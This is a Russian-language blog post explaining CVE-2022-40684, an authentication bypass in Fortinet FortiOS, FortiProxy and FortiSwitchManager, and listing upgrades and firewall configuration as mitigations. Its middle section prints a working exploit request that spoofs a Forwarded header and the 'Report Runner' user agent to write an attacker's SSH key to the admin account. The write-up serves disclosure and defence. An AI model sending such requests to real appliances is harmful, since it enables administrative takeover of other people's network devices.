CVE-2022-40684

Dec 02 2022
Об уязвимости CVE-2022-40684 — это уязвимость обхода аутентификации в некоторых продуктах Fortinet, таких как FortiOS, Fortiproxy и FortiSwitchManager. Это означает, что, используя эту уязвимость, злоумышленник может обойти аутентификацию и войти в систему как администратор.

Об уязвимости

CVE-2022-40684 — это уязвимость обхода аутентификации в некоторых продуктах Fortinet, таких как FortiOS, Fortiproxy и FortiSwitchManager. Это означает, что, используя эту уязвимость, злоумышленник может обойти аутентификацию и войти в систему как администратор. Базовая оценка этой уязвимости составляет 9,8, что делает ее очень критической. Прежде чем двигаться дальше, давайте разберемся, что это за продукты:

  1. FortiOS: как следует из названия, FortiOS, сетевая операционная система Fortinet , является сердцем Fortinet Security. Эта операционная система является ядром Security Fabric и связывает все компоненты вместе, чтобы обеспечить тесную интеграцию во всем развертывании организации.
  2. FortiProxy: это безопасный веб-прокси, который защищает сотрудников от интернет-атак, используя несколько методов обнаружения, таких как веб-фильтрация.
  3. FortiSwitchManager (FSWM) — это локальная платформа управления продуктом FortiSwitch . Устройства FortiSwitch подключаются к FortiSwitch Manager по сети уровня 3. Вы можете настроить большое количество устройств FortiSwitch с помощью этой платформы, предназначенной только для управления FortiSwitch.

Влияние

Баг позволит неавторизованному пользователю выполнять операции прямо в панели администратора через некоторые HTTP/S-запросы (методы могут быть GET, POST, DELETE и т. д.). Наличие роли администратора может вызвать некоторые из следующих событий:

  1. Управление взять на себя все приложение
  2. Получение доступа к внутренней инфраструктуре
  3. Добавление или удаление пользователей
  4. Доступ к конфиденциальным данным
  5. Измените ключи SSH пользователей-администраторов, чтобы злоумышленник мог войти в скомпрометированную систему.
  6. Вмешательство в различные файлы конфигурации и т. д.

PUT /api/v2/cmdb/system/admin/admin HTTP/1.1 Host: 10.0.40.67 User-Agent: Report Runner Content-Type: application/json Forwarded: for=”[127.0.0.1]:8000″;by= ”[127.0.0.1]:9000 ″; Content-Length: 612 { “ssh-public-key1”: “\”ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDIOC0lL4quBWMUAM9g/g9TSutzDupGQOnlYqfaNEIZqnSLJ3Mfln6rGSYol/WSm6/N7TNpuVFScRtmdUZ9O8oSamyaizqMG5hcRKRiI49F49judolcffBCTaVpQpxqt+tjcuGzZAoIqg6TyHg1BNoja/IjUQIVbNGyzl+DxmsX3mbmIwmffoyV8l4sEOynYqP3TC2Z8wJWv3WGudHMEDXBiyN3lrIDKlHzROWBkGQOcv3dCoYFTkzdKYPMtnTNdGOOF6wgWB3Y/fHyyWvbN23N2mxsgbRMdKTItJJNLGiJwYBHnC3lp2CQQlrYfsAnBQRu56gp7TPgheP+UYyGlYy4mcnsanGYCS4VozGfWwvhTSGEP5Uws/WxWNFq3Be7c/IWPx5AzvzT3iOq9R704xL1BxW9KAkPmjegav/jOEEh5YX7b+HcErMpTfo5DCi0CZilBUn9q/qM3v4HWKgJObaJnycE/PPyZML0xof29qvbXJDy2efYeCUCfxAIHUcJx58= [email protected] \”” }

  • Используя заголовок Fowarded, злоумышленник может установить для client_ip значение «127.0.0.1».
  • Проверка аутентификации «доверенного доступа» подтверждает, что client_ip — «127.0.0.1», а User-Agent — «Report Runner», оба из которых находятся под контролем злоумышленника.

«Найти средство защиты гораздо важнее, чем найти ошибку»

Ниже приведены некоторые исправления для защиты организации от CVE-2022–40684.

  1. Модернизация затронутых продуктов.
    Обновите версию FortiOS до ≥7.2.2 и ≥7.0.7
    Обновите версию FortiProxy до ≥7.2.1 и ≥ 7.0.7
    Обновите FortiSwitchManager версии ≥7.2.1 и ≥7.0.1
  2. Отключите административный интерфейс http/https в FortiOS, FortiProxy и FortiSwitchManager.
  3. Для FortiOS ограничьте IP-адреса, которые могут получить доступ к административному интерфейсу.
  4. config firewall address
    edit "my_allowed_addresses"
    set subnet <MY IP> <MY SUBNET>
    end
    

    config firewall addrgrp
    edit "MGMT_IPs"
    set member "my_allowed_addresses"
    end
    

    config firewall local-in-policy
    edit 1
    set intf port1
    set srcaddr "MGMT_IPs"
    set dstaddr "all"
    set action accept
    set service HTTPS HTTP
    set schedule "always"
    set status enable
    next
    edit 2
    set intf "any"
    set srcaddr "all"
    set dstaddr "all"
    set action deny
    set service HTTPS HTTP
    set schedule "always"
    set status enable
    end
    

    config firewall service custom
    edit GUI_HTTPS
    set tcp-portrange <admin-sport>
    next
    edit GUI_HTTP
    set tcp-portrange <admin-port>
    end
    

config system interface
edit port1
set dedicated-to management
set trust-ip-1 <MY IP> <MY SUBNET>
end